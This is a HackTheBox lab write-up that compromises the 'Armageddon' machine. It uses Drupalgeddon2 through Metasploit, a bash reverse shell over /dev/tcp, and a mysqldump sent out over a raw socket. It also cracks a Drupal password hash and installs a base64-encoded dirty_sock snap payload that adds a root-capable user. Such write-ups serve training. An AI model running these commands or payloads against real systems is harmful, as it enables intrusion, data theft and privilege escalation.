Armageddon is an easy Linux machine from HackTheBox that features an instance of Drupal 7 CMS. Enumeration of the CMS reveals that it is vulnerable to a remote code execution. With help of Metasploit module, I’m able to compromise the web server. Examining the Drupal configuration files discovers a set of database credentials which then used to retrieve user credentials from the database. The user is allowed to install a snap package as root user, and this could be leveraged to obtain root shell.
Skills Learned
- Drupal 7 exploitation using Drupalgeddon2
- Privilege escalation via malicious snap package
Tools
- Nmap
- Metasploit
- Dirty_sockv2.py
Reconnaissance
Nmap
An initial nmap
scan discovers two open ports: SSH on 22 and an Apache Web Server serving Drupal 7 on 80.
→ kali@kali «armageddon» «10.10.14.4»
$ nmap -sC -sV -oA scans/10-initial-armageddon 10.129.90.96
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-29 22:27 EDT
Nmap scan report for 10.129.90.96
Host is up (0.30s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to Armageddon | Armageddon
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 29 22:28:01 2021 -- 1 IP address (1 host up) scanned in 51.04 seconds
Nmap also identified the OS as CentOs, so there is a chance that it would only allow outgoing connection to ports below 1024.
Enumeration
TCP 80 - Website
Visiting port 80 presents a page that has no other content except a login form.
A previous nmap
scan detected that there was a changelog file. Poking /CHANGELOG.txt
discovers the exact version of this Drupal instance.
→ kali@kali «armageddon» «10.10.14.4»
$ curl -s http://10.129.90.96/CHANGELOG.txt
Drupal 7.56, 2017-06-21
-----------------------
- Fixed security issues (access bypass). See SA-CORE-2017-003.
...[SNIP]...
Finding Vulnerabilities
searchsploit
pops up a lot of exploit results related to Drupal 7. But, based on the results, it is clear that the current version of Drupal seems to be vulnerable to remote code execution.
→ kali@kali «armageddon» «10.10.14.4»
$ searchsploit Drupal 7
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User) | php/webapps/34992.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session) | php/webapps/44355.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1) | php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2) | php/webapps/34993.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution) | php/webapps/35150.php
Drupal 7.12 - Multiple Vulnerabilities | php/webapps/18564.txt
Drupal 7.x Module Services - Remote Code Execution | php/webapps/41564.php
Drupal < 4.7.6 - Post Comments Remote Command Execution | php/webapps/3313.pl
Drupal < 7.34 - Denial of Service | php/dos/35415.txt
Drupal < 7.34 - Denial of Service | php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Executio | php/webapps/44449.rb
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Executio | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasp | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC) | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Exe | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution | php/webapps/46459.py
Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure | php/webapps/44501.txt
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent Cross-Site Scrip | php/webapps/25493.txt
Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution | php/remote/40144.php
Drupal Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Site Scripting | php/webapps/35397.txt
Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit) | php/remote/40130.rb
----------------------------------------------------------------------------------- ---------------------------------
Since “Drupalgeddon2” exploits doesn’t state it requires authentication, I will give it a try.
Foothold
Shell as apache
Metasploit - Drupalgeddon 2
Metasploit has a module for Drupalgeddon2 ( exploit/unix/webapp/drupal_drupalgeddon2
). On my first attempt, it returned with no session.
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 10.129.90.96
RHOSTS => 10.129.90.96
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST tun0
LHOST => tun0
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LPORT 9001
LPORT => 9001
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 10.10.14.4:9001
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Exploit completed, but no session was created
By assuming that the firewall blocks all outgoing ports except for well-known, I changed my listener port to 443, and now it successfully opened a session.
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set lport 443
lport => 443
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 10.10.14.4:443
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (39282 bytes) to 10.129.90.96
[*] Meterpreter session 1 opened (10.10.14.4:443 -> 10.129.90.96:44612) at 2021-03-29 23:47:59 -0400
meterpreter > shell
Process 9611 created.
Channel 0 created.
whoami
apache
pwd
/var/www/html
I sent the following command because I wanted to change my shell, so I could do the PTY trick to upgrade my shell.
$ bash -c 'bash -i >& /dev/tcp/10.10.14.4/88 0>&1'
On my listener
→ kali@kali «armageddon» «10.10.14.4»
$ nc -nvlp 88
listening on [any] 88 ...
connect to [10.10.14.4] from (UNKNOWN) [10.129.90.96] 58422
bash: no job control in this shell
bash-4.2$
However, I’m unable to get the PTY trick working. It always returns the following error.
bash-4.2$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "/usr/lib64/python3.6/pty.py", line 154, in spawn
pid, master_fd = fork()
File "/usr/lib64/python3.6/pty.py", line 96, in fork
master_fd, slave_fd = openpty()
File "/usr/lib64/python3.6/pty.py", line 29, in openpty
master_fd, slave_name = _open_terminal()
File "/usr/lib64/python3.6/pty.py", line 59, in _open_terminal
raise OSError('out of pty devices')
OSError: out of pty devices
Privilege Escalation
Shell as brucetherealadmin
Enumeration
There is only one user other than root who has a login shell.
bash-4.2$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
Running a recursive grep to find passwords under the web root directory pops one password out from settings.php
.
bash-4.2$ pwd
/var/www/html
bash-4.2$ grep -Ri "password" 2>/dev/null
...[SNIP]...
sites/default/settings.php: 'password' => 'CQHEy@9M*m23gBVj',
...[SNIP]...
Looking at the contents of settings.php
reveals a database credential.
bash-4.2$ cat sites/default/settings.php
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
MySQL Access
The password didn’t work for user brucetherealadmin
, but it did work for the database (of course). Unfortunately, because I’m not in a TTY, I couldn’t get into MySQL interactive shell, so instead, I dumped the database using mysqldump
and exfiltrated the output to my attacking machine.
bash-4.2$ mysqldump -u drupaluser -p'CQHEy@9M*m23gBVj' drupal > drupal.dump; cat drupal.dump > /dev/tcp/10.10.14.4/88
On my Kali.
→ kali@kali «loot» «10.10.14.4»
$ nc -nvlp 88 > drupal.dump
listening on [any] 88 ...
connect to [10.10.14.4] from (UNKNOWN) [10.129.90.96] 58444
Examination of the dumped data reveals the structure of users
table.
...[SNIP]...
DROP TABLE IF EXISTS `users`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `users` (
`uid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT 'Primary Key: Unique user ID.',
`name` varchar(60) NOT NULL DEFAULT '' COMMENT 'Unique user name.',
`pass` varchar(128) NOT NULL DEFAULT '' COMMENT 'User’s password (hashed).',
...[SNIP]...
Knowing the users
table structure, I could use the MySQL -e
option to retrieve the contents of column name
and column pass
from the users
table. This returns a password hash of brucetherealadmin
, and I will have to crack this.
bash-4.2$ mysql -h localhost -u drupaluser -p'CQHEy@9M*m23gBVj' drupal -e 'select name, pass from users'
name pass
brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
Password Crack
The password has been recovered back to plain text using hashcat
and rockyou.txt
.
C:\tools\hashcat6> hashcat.exe -m 7900 "$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt" rockyou.txt
...[SNIP]...
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Drupal7
Hash.Target......: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
Time.Started.....: Tue Mar 30 12:03:57 2021 (3 secs)
Time.Estimated...: Tue Mar 30 12:04:00 2021 (0 secs)
...[SNIP]...
SSH - brucetherealadmin
The password booboo
works for brucetherealadmin
and can be used on SSH.
→ kali@kali «loot» «10.10.14.4»
$ ssh brucetherealadmin@10.129.90.96
brucetherealadmin@10.10.10.233's password:
Last login: Tue Mar 23 12:40:36 2021 from 10.10.14.2
[brucetherealadmin@armageddon ~]$ id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
User flag is done here.
Shell as root
Enumeration
User brucetherealadmin
is allowed to run /usr/bin/snap install
as root user. I could leverage this rights to install a malicious snap package.
[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL
PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User brucetherealadmin may run the following commands on armageddon:
(root) NOPASSWD: /usr/bin/snap install *
Malicious Snap Package
After googling around, I found this blog by Chris Moberly about Dirty Sock vulnerability in Snap version < 2.37. The author created two PoC exploits for this vulnerability:
dirty_sockv1: Uses the ‘create-user’ API to create a local user based on details queried from the Ubuntu SSO.
dirty_sockv2: Sideloads a snap that contains an install-hook that generates a new local user.
The current snap version is not vulnerable (patched with regex) to Dirty Sock. But, since the goal here is to install a malicious snap package with administrative privilege, I can steal the payload (trojan snap code) from the PoC exploit v2 and revert it back to a snap package.
[brucetherealadmin@armageddon shm]$ snap version
snap 2.47.1-1.el7
snapd 2.47.1-1.el7
series 16
centos 7
kernel 3.10.0-1160.6.1.el7.x86_64
First, I will grab the v2 exploit and transfer it to Armageddon
→ kali@kali «exploit» «10.10.14.4»
$ wget https://raw.githubusercontent.com/initstring/dirty_sock/master/dirty_sockv2.py
→ kali@kali «exploit» «10.10.14.4»
$ scp dirty_sockv2.py brucetherealadmin@10.129.92.110:/dev/shm
brucetherealadmin@10.129.92.110's password:
dirty_sockv2.py 100% 8696 8.5KB/s 00:01
I will pull out the payload from the exploit and revert it back to a snap package.
[brucetherealadmin@armageddon shm]$ python3 -c "print('''
> aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD/
> /////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJh
> ZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5
> TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERo
> T2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawpl
> Y2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFt
> ZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZv
> ciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5n
> L2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZt
> b2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAe
> rFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUj
> rkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAA
> AAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2
> XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5
> RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAA
> AFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw'''+ 'A' * 4256 + '==')" | base64 -d > malicious.snap
[brucetherealadmin@armageddon shm]$ file malicious.snap
file malicious.snap
malicious.snap: Squashfs filesystem, little endian, version 4.0, 910 bytes, 7 inodes, blocksize: 131072 bytes, created: Sat Feb 2 23:00:32 2019
Install Malicious Package
The malicious.snap
file now can be installed with --devmode
option to skip digital signatures check. If the exploit success, there will be a new user added called dirty_sock
(default from the payload).
[brucetherealadmin@armageddon shm]$ sudo /usr/bin/snap install --devmode malicious.snap
dirty-sock 0.1 installed
When I look at the /etc/passwdm
, the user is there.
[brucetherealadmin@armageddon shm]$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
dirty_sock:x:1001:1001::/home/dirty_sock:/bin/bash
su - root
Now I can switch user to dirty_sock
using a password of dirty_sock
and run sudo su
to obtain a root shell.
[brucetherealadmin@armageddon shm]$ su dirty_sock
Password:
[dirty_sock@armageddon shm]$ sudo su
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for dirty_sock:
[root@armageddon shm]# ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.129.92.110 netmask 255.255.0.0 broadcast 10.129.255.255
inet6 fe80::7edc:a185:87bc:5935 prefixlen 64 scopeid 0x20<link>
inet6 fe80::7648:5ea1:5371:b3b5 prefixlen 64 scopeid 0x20<link>
inet6 fe80::ef75:a96e:3c27:e78b prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:41:c7 txqueuelen 1000 (Ethernet)
RX packets 9191 bytes 732392 (715.2 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1149 bytes 188885 (184.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0